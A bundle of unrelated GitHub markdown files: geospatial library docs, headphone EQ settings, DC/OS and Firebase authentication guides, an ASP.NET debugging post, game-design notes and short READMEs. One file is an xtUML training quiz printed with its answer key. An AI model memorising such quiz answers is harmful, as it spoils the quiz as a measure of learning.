    -   `options.minDistance` **[number](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number)?** minimum distance between shortest path and obstacles
    -   `options.units` **[string](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)** unit in which resolution & minimum distance will be expressed in; it can be degrees, radians, miles, kilometers, ... (optional, default `'kilometers'`)
    -   `options.resolution` **[number](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number)** distance between matrix points on which the path will be calculated (optional, default `100`)

**Examples**

```javascript
var start = [-5, -6];
var end = [9, -6];
var options = {
  obstacles: turf.polygon([[[0, -7], [5, -7], [5, -3], [0, -3], [0, -7]]])
};

var path = turf.shortestPath(start, end, options);

//addToMap
var addToMap = [start, end, options.obstacles, path];
```

Returns **[Feature](http://geojson.org/geojson-spec.html#feature-objects)<[LineString](http://geojson.org/geojson-spec.html#linestring)>** shortest path between start and end

<!-- This file is automatically generated. Please don't edit it directly:
if you find an error, edit the source file (likely index.js), and re-run
./scripts/generate-readmes in the turf project. -->

---

This module is part of the [Turfjs project](http://turfjs.org/), an open source
module collection dedicated to geographic algorithms. It is maintained in the
[Turfjs/turf](https://github.com/Turfjs/turf) repository, where you can create
PRs and issues.

### Installation

Install this module individually:

```sh
$ npm install @turf/shortest-path
```

Or install the Turf module that includes it as a function:

```sh
$ npm install @turf/turf
```

repository: muziejus/turf

repo_name: muziejus/turf


text:
# ThieAudio Clairvoyance (100 ohm resistor)
See [usage instructions](https://github.com/jaakkopasanen/AutoEq#usage) for more options and info.

### Parametric EQs
In case of using parametric equalizer, apply preamp of **-7.2dB** and build filters manually
with these parameters. The first 4 filters can be used independently.
When using independent subset of filters, apply preamp of **-7.2dB**.

| Type    | Fc       |    Q | Gain     |
|:--------|:---------|:-----|:---------|
| Peaking | 55 Hz    | 0.22 | -6.9 dB  |
| Peaking | 2312 Hz  | 1.63 | -1.8 dB  |
| Peaking | 5135 Hz  | 0.86 | 6.2 dB   |
| Peaking | 10939 Hz | 2.01 | 5.2 dB   |
| Peaking | 19 Hz    | 0.78 | -5.9 dB  |
| Peaking | 59 Hz    | 1.88 | -0.5 dB  |
| Peaking | 9099 Hz  | 5.7  | 1.3 dB   |
| Peaking | 13759 Hz | 1.66 | 3.8 dB   |
| Peaking | 19843 Hz | 0.55 | -13.4 dB |

### Fixed Band EQs
In case of using fixed band (also called graphic) equalizer, apply preamp of **-7.8dB**
(if available) and set gains manually with these parameters.

| Type    | Fc       |    Q | Gain     |
|:--------|:---------|:-----|:---------|
| Peaking | 31 Hz    | 1.41 | -11.4 dB |
| Peaking | 62 Hz    | 1.41 | -5.5 dB  |
| Peaking | 125 Hz   | 1.41 | -4.3 dB  |
| Peaking | 250 Hz   | 1.41 | -2.5 dB  |
| Peaking | 500 Hz   | 1.41 | -1.3 dB  |
| Peaking | 1000 Hz  | 1.41 | 0.7 dB   |
| Peaking | 2000 Hz  | 1.41 | -1.6 dB  |
| Peaking | 4000 Hz  | 1.41 | 4.6 dB   |
| Peaking | 8000 Hz  | 1.41 | 6.8 dB   |
| Peaking | 16000 Hz | 1.41 | -3.0 dB  |

### Graphs
![](./ThieAudio%20Clairvoyance%20(100%20ohm%20resistor).png)

repository: cpiscos/AutoEq

path: /results/crinacle/harman_in-ear_2019v2/ThieAudio Clairvoyance (100 ohm resistor)/README.md

repo_name: cpiscos/AutoEq


text:
# TAPA Compiler

## Overview

The task of `tapac` is to compile a translation unit of a subset of C++ to a set of Verilog files. The translation unit MUST have a top-level task, which corresponds to the top-level module in the generated Verilog files.

## TAPA Tasks

There are two types of tasks: lower-level tasks and upper-level tasks. The top-level task is just a special task marked as the entry point to the tasks.

Read-only scalars, `tapa::istream`, `tapa::ostream`, and `tapa::mmap` are allowed as the interface parameters of tasks. Tasks cannot have return values.

### Lower-Level Task

A lower-level task cannot instantiate `tapa::stream`s or other tasks. It can own the `tapa::mmap`s and read from / write to `tapa::stream`s.

Pipelined loops cannot use blocking reads.

### Upper-Level Task

An upper-level task cannot instantiate anything other than `tapa::stream` and children tasks. It can forward scalars and `tapa::mmap`s to children tasks and instantiate `tapa::stream`s.

Scalars can be forwarded to multiple children tasks. `tapa::mmap`s MUST be forwarded to one and one only one child task.

## Compilation Flow

1. [x] Obtain the list of tasks from the top-level task.
2. [x] Do source-to-source transformation to obtain the HLS code for each task.
3. [x] Send transformed tasks to HLS and obtain the Verilog files.
4. [x] Modify the Verilog files generated for upper-level tasks to connect to the lower-level tasks.

repository: tanvirarafin/tapa

repo_name: tanvirarafin/tapa


text:
Some Notes On Testing
=====================

Some of the interface tests require an actual database to run.

If you want to run the whole test suite you will have to configure
spec/fixtures/database.yaml so that you can connect to both an SQL Server
database and a Postgres database.

In each case the database name you need to use is hardcoded: pod4_test. (Pod4
assumes that the schema names can be hardcoded, and since we create and wipe
tables in these tests, you should really have a seperate database for them
anyway.)


text:
# son-install
The SONATA Service Platform is based on a micro-service architecture and therefore comprises several independent service systems, like a RabbitMQ service, a [Gatekeeper service](https://github.com/sonata-nfv/son-gkeeper), a [MANO service](https://github.com/sonata-nfv/son-mano-framework), several databases, etc. In order to simplify the installation and configuration of the SONATA Service Platform, we provide several scripts, based on the [Ansible IT automation engine](https://www.ansible.com), to automate this process.

Using a single configuration file and a single install script, one can install the SONATA Service Platform by a single simple command. To this end, the installation script downloads the current components from the SONATA GitHub repositories and installs them on the target machine(s).

---
#### Lead Developers

The following lead developers are responsible for this repository and have admin rights. They can, for example, merge pull requests.

- Alberto Rocha (arocha7)
- Michael Bredel (mbredel)


text:
---
layout: layout.pug
title: Authenticating DC/OS Services
menuWeight: 100
excerpt: Configuring authentication for custom apps and pods
enterprise: true
render: mustache
model: /mesosphere/dcos/2.0/data.yml
---

This topic details how to configure authentication for custom apps and pods launched on DC/OS.

**Prerequisites:**

- [DC/OS CLI installed](/mesosphere/dcos/2.0/cli/install/) and be logged in as a superuser.
- [DC/OS Enterprise CLI 0.4.14 or later installed](/mesosphere/dcos/2.0/cli/enterprise-cli/#ent-cli-install).
- You must [get the root cert](/mesosphere/dcos/2.0/security/ent/tls-ssl/get-cert/) before issuing the `curl` commands in this section.

# Create a Key Pair
Create a 2048-bit RSA public-private key pair using the DC/OS Enterprise CLI. Save each value into a separate file within the current directory.

```bash
dcos security org service-accounts keypair <private-key>.pem <public-key>.pem
```

Use the [DC/OS Secret Store](/mesosphere/dcos/2.0/security/ent/secrets/) to secure the key pair.

# Create a service account
You can use either the DC/OS Enterprise CLI or the DC/OS web interface to create a service account.

## Using the DC/OS Enterprise CLI

From a terminal prompt, create a new service account (`<service-account-id>`) containing the public key (`<your-public-key>.pem`).

```bash
dcos security org service-accounts create -p <your-public-key>.pem -d "<description>" <service-account-id>
```

Verify your new service account using the following command.

```bash
dcos security org service-accounts show <service-account-id>
```

## Using the web interface

1. In the DC/OS web interface, navigate to the **Organization** -> **Service Accounts** tab.
1. Click the **+** icon in the top right.

   ![Click the service account create button](/mesosphere/dcos/2.0/img/GUI-Organization-Service_Accounts_View-1_12.png)

   Figure 1. Click the service account create button

1. Enter a description and type the Service Account ID in the **ID** field.
1. Paste the public key associated with the account into the **PUBLIC KEY** field.

   ![Create service account UI](/mesosphere/dcos/2.0/img/create-service-account.png)

   Figure 2. Create new service account

# Create a secret
Create a secret (`<secret-name>`) with your service account (`service-account-id>`) and private key specified (`<private-key>.pem`).

## Permissive

```bash
dcos security secrets create-sa-secret <private-key>.pem <service-account-id> <secret-name>
```

## Strict
In strict mode, the service account name (`<service-account-id>`) must match the name specified in the framework `principal`.
```bash
dcos security secrets create-sa-secret --strict <private-key>.pem <service-account-id> <secret-name>
```

List the secrets with this command:

```bash
dcos security secrets list /
```

# Create and assign permissions

## Determine the required permissions
Determine what access your service account requires by using this procedure. This will allow you to rule out any functional issues that might be caused by incorrect permissions.

1.  [SSH to your node](/mesosphere/dcos/2.0/administering-clusters/sshcluster/).

    ```bash
    dcos node ssh --master-proxy --mesos-id=<mesos-id>
    ```

1.  Run this `grep` command to view the `deny` logs for your service account (`<service-account-id>`).

    ```bash
    journalctl -u "dcos-*" |grep "audit" |grep "<service-account-id>" |grep "deny"
    ```

    This command will return a list of the audit logs that are generated when your service was denied access due to insufficient permissions or a bad token. The rejection messages should include the permission that was missing. You might need to repeat this process several times to determine the full list of required permissions.

### Troubleshooting

You can grant your service superuser permission to rule out any functional issues. All valid services should be able to run as superuser.

   ```bash
   curl -x put --cacert dcos-ca.crt \
   -h "authorization: token=$(dcos config show core.dcos_acs_token)" $(dcos config show core.dcos_url)/acs/api/v1/acls/dcos:superuser/users/<service-account-id>/full
   ```

For more information, see the [permissions reference](/mesosphere/dcos/2.0/security/ent/perms-reference/).

## Assign the permissions
Using the [permissions reference](/mesosphere/dcos/2.0/security/ent/perms-reference/) and the log output, assign permissions to your service. All CLI commands can also be executed via the [IAM API](/mesosphere/dcos/2.0/security/ent/iam-api/).

### Using the CLI

You can assign permissions using the CLI. For example, to authorize the [Cassandra service](/mesosphere/dcos/services/cassandra/cass-auth/) to be uninstalled on DC/OS:

Grant the permissions (`dcos:mesos:master:framework:role:cassandra-role`) and the allowed actions (`create`).

```bash
dcos security org users grant <service-account-id> dcos:mesos:master:framework:role:cassandra-role create --description "Controls the ability of cassandra-role to register as a framework with the Mesos master"
```

### Using the web interface

1.  Log into the DC/OS web interface as a user with the superuser permission.
1.  Select **Organization > Service Accounts**.
1.  Select the name of the service account to grant the permission to.

    ![Select service acccount](/mesosphere/dcos/2.0/img/GUI-Organization-Service_Accounts_No_Tooltip-1_12.png)

    Figure 3. Select service account

1.  From the **Permissions** tab, click **ADD PERMISSION**.
1.  Click **INSERT PERMISSION STRING** to toggle the dialog.
1.  Copy and paste the permission in the **Permissions Strings** field.

    ![Service account permission string](/mesosphere/dcos/2.0/img/service-account-permission-string.png)

    Figure 4. Service account permissions string

# Request an authentication token

Generate a [service login token](/mesosphere/dcos/2.0/security/ent/service-auth/), where the service account (`<service-account-id>`) and private key (`<private-key>.pem`) are specified.

```bash
dcos auth login --username=<service-account-id> --private-key=<private-key>.pem
```

# Pass the authentication token in subsequent requests
After the service has successfully logged in, an [authentication token](/mesosphere/dcos/2.0/security/ent/service-auth/) is created. The authentication token should used in subsequent requests to DC/OS endpoints. You can reference the authentication token as a shell variable, for example:

```bash
curl -H "Authorization: token=$(dcos config show core.dcos_acs_token)"
```

# Refresh the authentication token
By default, authentication tokens expire after five days. Your service will need to renew its token either before or after it expires. The token itself contains the expiration, so your service can use this information to proactively refresh the token. Alternatively, you can wait to get a `401` from DC/OS and then refresh it.

To refresh your authentication token, just repeat the process discussed in [Request an authentication token](#req-auth-tok).

# DC/OS-native service accounts

The credentials of DC/OS-native service accounts are private to DC/OS and must not be consumed by third-party software (such as ad-hoc scripts).

**Background**: the privileges granted to DC/OS-native service accounts can change during a DC/OS upgrade procedure. That is, consumers other than DC/OS-native services can break during a DC/OS upgrade. Notably, third party software must not mutate the privileges associated with DC/OS-native service accounts (the mutations can be reverted at any point in time).

There is an exception for `dcos_marathon` and `dcos_metronome` service accounts that will keep modified privileges because in the `strict` security mode, some users of DC/OS Enterprise give `dcos_marathon` and `dcos_metronome` permissions so that these services can run tasks as Unix users other than `nobody`.

repository: mesosphere/dcos-docs-site

gha_language: SCSS

repo_name: mesosphere/dcos-docs-site


text:
## U3.W9: Design Your Own DATABASE

####I worked on this challenge [by myself].

### Release 5: Reflection

How to Reflect
Reflecting is an incredibly important part of the learning process. It requires you to take a moment and think about what you've learned, what is confusing, and where you need to go. They document your learning process.

Reflections are mandatory for each challenge.

When writing your reflection, write it for an audience. Tell a story of what you tried and what you learned. It will make it easier for you to go back and re-teach yourself or know what you were thinking.

Remember, your reflections aren't just for teachers, they are for your fellow cohort mates to learn from, so be generous! You could end up helping a fellow student learn something new.

Answer the following questions (in addition to the challenge-specific questions) in your reflection:

1)  What parts of your strategy worked? What problems did you face?

It was really cool to design tables and CREATE them from the Command Line and then see their schema and their contents.  I was also quite enjoyable to SELECT different columns of information from each table.

2)  What questions did you have while coding? What resources did you find to help you answer them?

When I first ran my SELECT/JOIN statements, I was receiving the following: "Error: ambiguous column name: vendor_id."  So, I looked this directly up in Google and found an answer on the following websites:  http://databases.aspfaq.com/database/what-does-ambiguous-column-name-mean.html

3)  What concepts are you having trouble with, or did you just figure something out? If so, what?

I was having troubles using JOIN in a SELECT statement to extract the desired data.  Now, it extracts only correct data, however it does not extract all data.  I am reasearching why.

4)  Did you learn any new skills or tricks?

I learned vendor.vendor_id.  I learned that table.key is a method of stating explicitly which key is being referred to.

5)  How confident are you with each of the Learning Competencies?

I am confident about creating databases from the command line, about INSERTing data into these tables, about using simple SELECT statements to extract data from these tables, about using more complex SELECT/WHERE/JOIN/ORDER BY/GROUP BY statements to extract data from these tables.  Picking Primary Keys and Foreign Keys seems to make sense, but I like to see the loop holes and pitfalls of certain choices.

6)  Which parts of the challenge did you enjoy?

I really thought it was cool creating tables from the command line and then being able to access data from these tables.

7)  Which parts of the challenge did you find tedious?

I really didn't find any part of this challenge to be tedious.  I am still wanting a better understanding of JOIN as mentioned in 5).


text:
__Type:__ Radio Buttons

__Question:__ Which of the following model elements **cannot** be used to bind with realized external code?

__Choices:__
  - A: Class Operation
  - B: Bridge
  - C: Component
  - D: External Entity

__Answer(s):__
  - A

----

__Type:__ True / False

__Question:__ You can bind directly to functionality written in the 'C' programming language.

__Choices:__
  - A: True
  - B: False

__Answer(s):__
  - B

----

__Type:__ Radio Buttons

__Question:__ You have a realized string handling library which consists of several simple call and return convenience functions. This can best be integrated using a ...

__Choices:__
  - A:  Bridge
  - B:  Component
  - C:  External Entity

__Answer(s):__
  - C

----

__Type:__ Radio Buttons

__Question:__ When realizing an External Entity, the realized java class name is bound with the _______?

__Choices:__
  - A: Bridge Name
  - B: External Entity Name
  - C: Package Name
  - D: External Entity Key Letters

__Answer(s):__
  - D

----

__Type:__ Radio Buttons

__Question:__ Verifier looks for realized **interfaces** _______.

__Choices:__
  - A: in the 'lib' folder
  - B: in the 'interfaces' package
  - C: along the same package path as the interface definitions are found in the model

__Answer(s):__
  - C

----

__Type:__ Radio Buttons

__Question:__ A java class implementing a component has a port implementation passed to its constructor. What methods can you expect to call on this passed instance?

__Choices:__
  - A: Bridges
  - B: Those implementing messages which are outgoing from the realized component
  - C: Those implementing outgoing and incoming messages defined for the interface

__Answer(s):__
  - B

----

__Type:__ Radio Buttons

__Question:__ You mark a modeled element as realized in which View?

__Choices:__
  - A: Model Explorer
  - B: Session Explorer
  - C: Properties
  - D: Console

__Answer(s):__
  - C

----

__Type:__ True / False

__Question:__ You can specify a jar file that holds the implementation for an External Entity.

__Choices:__
  - A: True
  - B: False

__Answer(s):__
  - A

----

__Type:__ True / False

__Question:__ You must pass a ComponentInstance_c value with all calls into the xtUML model.

__Choices:__
  - A: True
  - B: False

__Answer(s):__
  - B

----

__Type:__ Radio Buttons

__Question:__ In which view is the 'realized' label attached to a successfully realized component?

__Choices:__
  - A: Session Explorer
  - B: Debug View
  - C: Model Explorer
  - D: Console

__Answer(s):__
  - B

----

__Type:__ True / False

__Question:__ The 'Audit Realized Bindings' menu choice appears when the current selection is (or contains) a component which has its realized attribute set to true.

__Choices:__
  - A: True
  - B: False

__Answer(s):__
  - A

----

url: https://raw.githubusercontent.com/johnrwolfe/training/51363b07ff5f76427e4ba1be1715766e3d04b9d8/courses/System Modeling with the xtUML Editor/Realized-Code/Realized Code Quiz.md

repository: johnrwolfe/training

filename: Realized Code Quiz.md

repo_name: johnrwolfe/training


text:
Simple Static Webpage Example
=============================

> This repo is used as an example on how to get a Static Webpage Published with IPFS and ipscend

## Credits

The page theme was built with Bootstrap by [**David Miller**](https://github.com/davidtmiller), thank you for making it a putting it available.

Dummy commit
Commit for Tag 1.0.0


text:
# Firebase Simple Login - iOS

Firebase Simple Login is a library that allows authentication using only client-side code. Easily authenticate users via email and password or through a number of third-party providers such as Facebook, Twitter, GitHub, and Google.

## Overview

When a client initially connects to Firebase, it is anonymous and is granted a default set of permissions as specified in our Security Rules. To grant a client a different set of permissions, we must authenticate it.

Firebase can manage authentication for us, using the Simple Login service. Firebase can authenticate users using social login providers such as Facebook, Google, Twitter and GitHub or manage user registration using email and password login. If we don't want to require a user to log in but want to have some concept of an individual user for our security rules, we can use anonymous authentication. If we have our own server and and want integrate existing authentication mechanisms with Firebase; we can generate the auth tokens using Custom Login.

## Installing

To install Firebase Simple Login we'll need to download the associated framework for iOS. You can [download the latest version right here](https://cdn.firebase.com/ios/FirebaseSimpleLogin.framework-1.3.4.zip). After the download completes, we'll include the framework in our project.

### Include dependencies

Firebase Simple Login depends on two other frameworks, __Accounts__ and __Social__. Add them to your project.

## API Reference

[You can find a full appledoc reference here.](https://firebase.github.io/firebase-simple-login-objc/appledoc/)

## Authentication Providers

Select a authentication provider for specific installation and configuration information.

| Platform | Description |
| --- | --- |
| [Email & Password](./providers/password.md) | Integrate Email & Password authentication in your app. |
| [Custom](./providers/custom.md) | Integrate Custom authentication in your app. |
| [Anonymous](./providers/anonymous.md) | Integrate Anonymous authentication in your app. |
| [Facebook](./providers/facebook.md) | Integrate Facebook authentication in your app. |
| [Twitter](./providers/twitter.md) | Integrate Twitter authentication in your app. |
| [Google](./providers/google.md) | Integrate Google authentication in your app. |

## Configuring Simple Login

Only domains that you whitelist are allowed to make requests to Firebase Simple Login for your application. For testing purposes, all Firebases have `localhost` and `<IP_ADDRESS>` enabled by default. Add more to enable access from domains where your application is hosted.

In the dashboard we can navigate to the Simple Login tab. From here we need to include all of the domains that will access our app. If we're just testing then `localhost` and `<IP_ADDRESS>` will work for now.

### Enabling providers

Before we can write any login code we need to select which providers we want to authenticate with.

In the __Simple Login__ tab go down to the __Authentication Providers__ section. There we can select a tab for a provider and enable authentication.

## Monitoring Authentication

To initialize Simple Login we need to instantiate a `FirebaseSimpleLogin` class. This class is initialized with a `Firebase` reference. We can then implement the `checkAuthStatusWithBlock` block to check whether or not we have a user. This block is triggered once asynchronously.

__Objective-C:__
```objc
Firebase* myRef = [[Firebase alloc] initWithUrl:@"https://<your-firebase>.firebaseio.com"];
FirebaseSimpleLogin* authClient = [[FirebaseSimpleLogin alloc] initWithRef:myRef];
[authClient checkAuthStatusWithBlock:^(NSError* error, FAUser* user) {
    if (error != nil) {
        // an error occurred while attempting login
        NSLog(@"%@", error);
    } else if (user == nil) {
        // No user is logged in
    } else {
        // user authenticated with Firebase
        NSLog(@"%@", user);
    }
}];
```

__Swift:__
```swift
var myRef = Firebase(url:"https://<your-firebase>.firebaseio.com")
var authClient = FirebaseSimpleLogin(ref:myRef)

authClient.checkAuthStatusWithBlock({ error, user in
    if error {
        // an error occurred while attempting to login
        println(error)
    } else if user == nil {
        // No user is logged in
    } else {
        println(user)
    }
})
```

In addition to using the Firebase Simple Login object, we can also use the Firebase API to monitor a user's authentication status. By attaching an event listener on the location `/.info/authenticated`, we'll be able to observe any changes to a user's authentication status.

__Objective-C:__
```objc
Firebase* authRef = [myRef.root<EMAIL_ADDRESS>[authRef observeEventType:FEventTypeValue withBlock:^(FDataSnapshot* snapshot) {
    BOOL isAuthenticated = [snapshot.value boolValue];
}];
```

__Swift:__
```swift
var authRef = myRef.root.childByAppendingPath(".info/authenticated")
authRef.observeEventType(.Value, withBlock: { snapshot in
    var isAuthenticated = snapshot.value as? Bool
})
```

To log in a user, we call a login method specific to each provider.

The callback that we specified above will be invoked with the result of this login attempt, including a user object on success, or an error otherwise. Select the provider in the [Authentication Providers](#authentication-providers) section above for specific configuration, setup and login information.

## Logging Users Out

The tokens issued to the logged in users are valid for 30 days by default. We can change this default value in the dashboard. Calling `logout` invalidates the user's token and logs them out of your application:

__Objective-C:__
```objc
[authClient logout]
```

__Swift:__
```objc
authClient.logout()
```

## Storing User Data

Internally, Simple Login generates JWT auth tokens after authenticating against the appropriate provider. It then calls `Firebase.auth()` with those tokens. It does not store profile or state information in Firebase. In order to persist user data we'll have to save it to our Firebase.

In the sample below we are saving a user when they log in through Simple Login:

__Objective-C:__
```objc
// we would probably save a profile when we register new users on our site
// we could also read the profile to see if it's null
// here we will just simulate this with an isNewUser boolean
BOOL isNewUser = false;
[authClient checkAuthStatusWithBlock:^(NSError* error, FAUser* user) {
    if (error != nil) {
        // Oh no! There was an error performing the check
    } else if (user == nil) {
        // No user is logged in
    } else {
        // save new user's profile into Firebase so we can
        // list users, use them in security rules, and show profiles
        if (isNewUser) {
            // save them to the users location
            NSDictionary *newUser = @{
                @"user_id": user.userId,
                @"provider": [[NSNumber alloc] initWithInt:user.provider],
                @"email": user.email
            };
            [[myRef childByAppendingPath:@"users"] setValue:user];
        }
    }
}];
```

__Swift:__
```swift
// we would probably save a profile when we register new users on our site
// we could also read the profile to see if it's null
// here we will just simulate this with an isNewUser boolean
var isNewUser = false
authClient.checkAuthStatusWithBlock({ error, user in
    if error {
        // Oh no! There was an error performing the check
        println(error)
    } else if user == nil {
        // No user is logged in
    } else {
        // save new user's profile into Firebase so we can
        // list users, use them in security rules, and show profiles
        if isNewUser {
            var newUser = [
                "user_id": user.userId,
                "provider": Int(user.provider.value),
                "email": user.email
            ]

            myRef.childByAppendingPath("users").setValue(user)
        }
    }
})
```

When a user is saved using the above code, our structure will resemble something like this:

```json
{
  "users": {
    "simplelogin:1": {
      "displayName": "alanisawesome",
      "provider": "password",
      "provider_id": "1"
    },
    "simplelogin:2": {
      "displayName": "gracehop",
      "provider": "password",
      "provider_id": "2"
    }
  }
}
```

Since the user's `uid` property is unique, it will serve as an appropriate key for storing users.

## Handling Errors

In Firebase Simple Login, the callback we specified when creating the `FirebaseSimpleLogin` object is called any time the user's authentication state has changed, or an error has occurred in the authentication process.

In some cases we may want to explicitly check for specific errors so that we an update our messaging to the user, or prompt them to login again.

### Error Format

All errors are of type `NSError` and have the `code` and `description` attributes.

### Checking Specific Errors

Rather than handling for every possible error that could happen, it's best to just handle a specific subset. See the [next section](#full-error-listing) for the full error listing.

For example, if we're using email / password authentication we would want to check for an invalid email and an invalid password.

__Objective-C:__
```objc
[authClient checkAuthStatusWithBlock:^(NSError* error, FAUser* user) {
    if (error != nil) {
        // an error occurred while attempting login
        switch(error.code) {
            case FAErrorInvalidEmail:
                // handle an invalid email
            case FAErrorInvalidPassword:
                // handle an invalid password
            default:
                break;
        }
    } else if (user == nil) {
        // No user is logged in
    } else {
        // User is logged in
    }
}];
```

__Swift:__
```swift
authClient.checkAuthStatusWithBlock({ error, user in
    if error {
        switch error.code {
        case Int(FAErrorInvalidEmail.value):
            // handle an invalid email
            break
        case Int(FAErrorInvalidPassword.value):
            // handle an invalid password
            break
        default:
            break
        }
    } else if user == nil {
        // No user is logged in
    } else {
        // User is logged in
    }
})
```

## Full Error Listing

| Error Code | Description |
| --- | --- |
| FAErrorUserDoesNotExist | The specified account does not exist |
| FAErrorInvalidPassword | Email/password auth: An incorrect password was given |
| FAErrorAccessNotGranted | The user did not authorize the application. This error can be triggered by the user closing the OAuth popup or canceling the authentication request. |
| FAErrorAccountNotFound | The 3rd party account was not found |
| FAErrorAuthenticationProviderNotEnabled | The specified auth provider is not enabled for your Firebase. |
| FAErrorInvalidEmail | Email/password auth: The specified email is invalid. |
| FAErrorBadSystemToken | The cached system token for the auth provider is no longer valid. The user has most likely disabled the specified auth provider. |
| FAErrorUnknown | An unknown error occurred. |

## API Reference

[You can find a full appledoc reference here.](https://firebase.github.io/firebase-simple-login-objc/appledoc/)

repository: ayunav/firebase-simple-login-objc

repo_name: ayunav/firebase-simple-login-objc


text:
## Storm Eagle
* on airship; can fall off the sides; no ceiling
dives
shoot whirlwind to push player
drop egg/homing birds
flap wings to push player

## Flame Mammoth
* conveyor belt on floor
jumps at you; if you're on the floor when it lands you get stunned.
shoots flames
shoots oil slicks onto conveyor belt
horn switches direction of conveyor belt on floor

## Boomer Kuwanger (Boom Boom)
dashes
throws a boomerang
teleports
will grab you and throw you into ceiling

## Spark Mandrill  (Shockey Monkey)
* clingy ceiling
dash-punch at you
close range punch
shoot Electric Sparks that follow the edges of the room
jump across the screen and try to crush you
swing across the ceiling and try to drop on you

## Armadillo
roll at you, bounce around room
shoots energy pulse
arm shields
absorb energy and shoot in all directions

## Octopus
* underwater
jumps across room
shoots spread missiles forward
shoots fish bots forward
vertical water tornado that pulls X in and drains energy

## Chameleon
* climbable background wall, clingy ceiling
hangs from ceiling/wall
uses tongue as close range attack
swings tail to shoot three projectiles at once
goes almost invisible, moves to new location
jumps across the room and hangs from ceiling by tongue, shakes room that drops spikes from ceiling

repository: clifordunique/sagaGitlabMirror

repo_name: clifordunique/sagaGitlabMirror


text:
# Robotiq 85mm 2-Finger-Adaptive-Gripper

This package contains the URDF files describing the 85mm stroke gripper from robotiq, also known as series **C3**.

To test the gripper URDF description type

```
roslaunch robotiq_2f_85_gripper_visualization test_2f_85_model.launch
```
## Robot Visual
![85](https://user-images.githubusercontent.com/8356912/49428405-45a6ef00-f7a6-11e8-822b-c6870c39d445.png)

## Robot Collision
![852](https://user-images.githubusercontent.com/8356912/49428404-450e5880-f7a6-11e8-82a8-564247ebe7fc.png)

repository: TAMS-Group/robotiq

branch_name: refs/heads/noetic-devel

repo_name: TAMS-Group/robotiq


text:
# Facilities

Status: Blocked by questions

## Services
### Current services used
- /vaos/facilities
- /vaos/systems/{system_id}/direct_scheduling_facilities
- /facilities/va

### Equivalent FHIR resource

- Organization
- Location

## Data
### Data to FHIR model mapping

- VA parent facilities (Organization)
   - Data for each parent facility:
      - Id (Organization.identifier)
      - Friendly name (Organization.name)
      - City (Organization.address[].city)
      - State (Organization.address[].state)
      - Root site id (**Organization.identifier**)
- VA child facilities (Location)
   - Data for each facility:
      - Id (Location.identifier)
      - Friendly name (Location.name)
      - requestSupported (**Unknown**)
      - directSchedulingSupported (**Unknown**)
      - institutionTimezone (**Unknown**)

### Missing/incomplete data list

- directSchedulingSupported
- requestSupported
- institutionTimezone

### Differences in scope of data returned

- Child facilities are fetched by VistA id and type of care id, but Location doesn't have any search parameters related to type of care

## Outstanding questions

- How can we get the timezone for a Location?
- How do we get request/direct scheduling supported flag information?
- Sometimes there are five digit "parent" VAMCs, are those considered Organizations or Locations?
- Do we have different fields for friendly vs institution name?


text:
# iprangetree collection

    @License MIT

The simple IP range-tree collection which provides fast access to inMemory storage of searching by IP range.
Usually can be used in GeoIP services to fast IP lookup in a big amount of IP addresses.
The project used in the real high-load project with DB of >13,000,000 records and average time of response ~10µs

## Example

```go
tree := iprangetree.New(2)

err := tree.AddRangeByString("<IP_ADDRESS>-<IP_ADDRESS>", []int{10})
if err != nil {
  log.Fatal(err)
}

fmt.Println(tree.LookupByString("<IP_ADDRESS>"))
```

repository: demdxx/iprangetree

gha_language: Go

repo_name: demdxx/iprangetree


text:
---
layout: post
title: "Troubleshooting: Asp.Net returns empty response on a production server"
description: "Last week I got to solve a problem that only happened on a customer's server"
tags: [asp.net, response, async, stream, perfview]
comments: true
published: true
categories:
  - Blog
image: https://www.thuannguy.com/images/blog-image.jpg
---
# Troubleshooting: Asp.Net returns empty response on a production server

Last week I got to solve a problem that only happened on a customer's server: one of the endpoint always returned a blank page. Checking network log showed me that the response had no content. Since it didn't happen on our development boxes, debugging needed to be done using log files and all kind of traces I could collect.

## Debugging using Perfview

[Perfview](https://github.com/Microsoft/perfview) is a great tool to collect what a .NET process just did because it is portable yet powerful and has a simple GUI.

Examining a log file pointed us to a suspected method which is probably that last piece of my code that ran:
![suspect](/images/emptyresponse/suspect.png)
Briefly speaking, that method copied content from an HttpResponseMessage object to HttpResponse.OutputStream. Another important note is that it is an ActionResult.ExecuteResult method which is called by Asp.Net itself.

A colleague of mine helped using Perfview to collect a trace of what happened internally when the application served that blank response. Although all stacktraces showed that my code ran as expected without any error, the exception view revealed a hidden NullReferenceException happening deep down in Asp.Net framework code:
![exception](/images/emptyresponse/exception.png)

Up to this point, my guess was that the exception happened while content was being written to HttpResponse.OutputSream. However, I needed more proofs in order to find a good fix because I wouldn't be able to test it on my development box.

I opened code of the CopyToAsync found in Github: ![copytoasync method](/images/emptyresponse/copytoasync.png)
After checking the type of the stream object, I was able to confirm that code run into the "else" branch that called SerializeToStreamAsync:
![serialize](/images/emptyresponse/serialize.png)

This is where SerializeToStreamAsync called WriteToStreamAsync:
![SerializeToStreamAsync](/images/emptyresponse/SerializeToStreamAsync.png)

Finally, code of the WriteToAnyStreamAsync code is:
![WriteToAnyStreamAsync](/images/emptyresponse/WriteToAnyStreamAsync.png)

Which suggested that either the buffer object or the destination object or something inside the destination object must be null. However, because the buffer was just created locally previously, it couldn't be null. That left me with the destination object being null. Tracing code backward showed me that the destination object is the OutputStream of HttpResponse. All those clues were enough for me to conclude that the error happened because that stream content copy code was executed asynchronously, but by the time it was executed, Asp.Net already closed the response. Interestingly, my guess for why it only happened on that server is that the server had limited resources, so Asp.Net had to close response streams much sooner than when we tested on our development boxes.

By the way, I fixed it by changing ConfigureAwait to Wait. You might scream at me because they are two different things and calling Wait is evil, but I can assure you for this piece of code and for all the constraints that my web application has to fulfill, using Wait is the only viable solution. I wish Asp.Net team changed their mind about [adding support for ExecuteResultAsync](https://github.com/aspnet/AspNetWebStack/issues/113) though.


text:
# `dplm20`

**PURPOSE:** Provide some C++20 library components.

**MNEMONIC:** David's primitive library (dpl) Missing C++ 20 (m20)

## Description

The `dplm20` package provides libraries that are expected to be included in the
upcoming C++20 standard, but are not yet widely distributed with standard
library implementations. Currently, the only component included in this package
is `dplm20_overload`.

Documentation for `overload` can be found by looking at the latest revision of
[P0051R2](https://github.com/viboes/tags/blob/master/doc/proposals/overload/P0051R2.md).

## Hierarchical Synopsis

The `dplm20` package currently has 1 component having 1 level of physical
dependency.

```
